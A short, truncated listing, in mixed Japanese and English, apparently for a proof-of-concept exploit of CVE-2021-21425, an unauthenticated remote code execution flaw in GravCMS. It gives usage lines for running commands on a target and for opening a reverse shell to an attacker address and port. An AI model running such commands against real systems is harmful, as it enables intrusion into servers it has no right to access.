CVE-2021-21425

CVE-2021-21425 - GravCMS 未認証RCE CVE-2021-21425 の改良版概念実証。これは GravCMS Custom command python3 exploit.py -t http://target -c "id" 例 root@kitploit: Get reverse shell on target python3 exploit.py -t http://10.10.10.5 -s 10.10.14.5 4444 Execute command python3 exploit.py -t http://grav.local:8080 -c...